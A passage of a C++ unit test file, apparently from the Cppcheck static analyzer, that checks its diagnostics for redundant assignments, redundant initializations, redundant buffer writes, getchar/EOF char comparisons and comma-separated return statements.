0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n 